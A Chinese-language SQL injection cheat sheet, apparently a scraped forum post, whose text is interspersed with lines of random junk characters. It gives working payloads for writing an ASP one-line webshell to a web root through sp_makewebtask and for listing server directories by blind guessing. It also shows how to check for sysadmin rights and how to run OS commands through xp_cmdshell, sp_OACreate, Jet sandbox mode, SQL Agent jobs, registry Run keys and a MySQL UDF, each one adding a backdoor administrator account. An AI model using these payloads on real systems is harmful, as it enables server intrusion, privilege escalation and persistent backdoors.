MSSQL语句导出一句话木马
8 Q4 Y* ~; I$ ^+ L- C7 f4 |( P' o首先确定网站的WEB路径3 W3 B& P4 K$ H) U
;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马) W3 a; B2 j1 D" w1 D
2 C, U8 H$ X* z% t X
;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- - ^6 q# x" J+ H
//将一句话木马插入表中4 ]' V* ]7 B7 |* q
5 r. f# f' X0 D# _$ r9 I* w
;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- 8 r& a o h( Q2 c; \
//导出一个ASP文件" z' `1 |0 c4 ~* O' {$ I
( q' U. P! ^; P; J P# l) C) Q8 E5 Q+ Q3 ~
关于MSSQL列目录
6 G/ U7 e, |! `4 j$ v- Q! `/ v2 K;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表
+ X1 v5 ^# z$ H, D* A0 z7 B9 PInsert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表' A$ H, S& _& g* P: K, p& q) o9 L4 F
3 r9 _4 {4 S4 E' K3 h0 ^ N; t# d
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录
) {9 o$ j4 k: q& [
5 J3 }% ~) a- xAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段
4 p( D" @6 M" H- \+ @& x6 ?
4 q: f v1 d# D4 LAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符
2 j2 q( P S0 ?; W! ?& c) x) p5 A2 }: n- _) W) `4 N* t
6 Z4 n' b& d% f" A5 ^/ ^
数据库版本和权限查看+ }/ r# ]- [# U
and 1=(select @@VERSION) //查看详细的数据库信息.
( D& R! t8 r, eand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
* N( i' w- o6 n1 q2 s/ q) Y6 Cand 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
7 f" C. y) h! u8 `4 @- K; F2 O: m+ p
6 C" u' l0 L) Z9 P6 g* i! u" Y* O8 e+ @1 D* m4 m) k
1.利用xp_cmdshell执行命令
. m. i4 N% ?" v3 {# m* t) Q4 g* D% nexec master..xp_cmdshell 'net user rfire 123456 /add'6 |/ ?6 x: f/ o9 I& {
exec master..xp_cmdshell 'net localgroup administrators rfire /add'9 v7 j9 `* ~1 B5 V$ D
: y8 W0 x/ d1 s* f1 x恢复xp_cmdshell存储过程 o$ d! L, t8 ^. c+ I- ?
Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' j* b& c( ?8 ~; l+ n
0 e+ ?! T1 s( A2 o) R% I. H( s) W$ ?6 p- |3 a) ^7 @8 V; V
2.利用SP_OAcreate和SP_OAMETHOD执行命令, h( ?/ _/ f" J7 ?0 U* W
在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
& O2 s: v# p g7 O% n$ q5 p* rDECLARE @shell INT //建立一个@shell实体
3 }6 O6 [ x7 ~; dEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例- o+ v, k) E: T+ Q
EXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例
G4 [8 u: u( X5 G. [+ g
& H0 d+ r* U' i0 h+ O$ d( l4 f' \/ ~/ G% x
3.利用沙盒模式
) D1 O! R G8 S4 O先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。0 C; _! j1 n8 O9 Z( b/ b
开启沙盒模式:+ Q' d1 S) c' A6 T0 K
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0) n% _' {. Z$ }1 d, k. c
$ T( i6 k) ?3 U- A ~; P7 D" ~' }
执行命令:
# W( z# M* `! Z7 oSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');5 @1 G* q1 l6 h& D/ n( _
3 t. l* s- @# R: W W3 Y) J. {$ v* E8 O W8 W& }
4.利用SQL代理执行命令
$ B6 _$ ~6 z- m/ X: TEXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务2 X& H: E2 ], `4 g* ^% X
0 X* z' m. i0 X/ I
执行命令:' u9 P+ P! M, ]" @( A& ]
use msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
0 |2 Z: ]' x2 ~exec sp_add_job 'x'
* t/ A. G9 C; t& wexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业
8 a/ Q" H% g8 a& k- @; Rexec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业8 c7 q. {& S. O! h
6 x. ?: y. w; O. j
b4 c' _+ \/ y" ^3 R! I5 `5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)
* g, w& Q# C; pEXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'
( m; x7 r2 [8 l9 D9 Y W: Y
% Q$ R9 W4 i; s/ P
5 t" z5 h, g+ F6.MYSQL的命令执行* N* t7 Y0 T* X+ L5 z! A
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
4 [. |! U! |/ u% L4 h* {9 M, [+ Z首先要在su.php下导出c:\windows\udf.dll1 [' I2 M9 i% _( v( n9 O: H
导出后执行创建自定义函数命令:4 T! i+ \: d" N/ [* U1 N
Create Function cmdshell returns string soname 'udf.dll'
: l9 G W ]0 V6 L2 f& M执行命令
' F( p) a/ Y+ }6 G4 j; Xselect cmdshell('net user rfire 123456 /add')$ i3 ]% w6 O$ z" ]" e# Y, V6 X
执行后删除函数 drop function cmdshell0 j( C+ Y0 o( g4 E7 i
|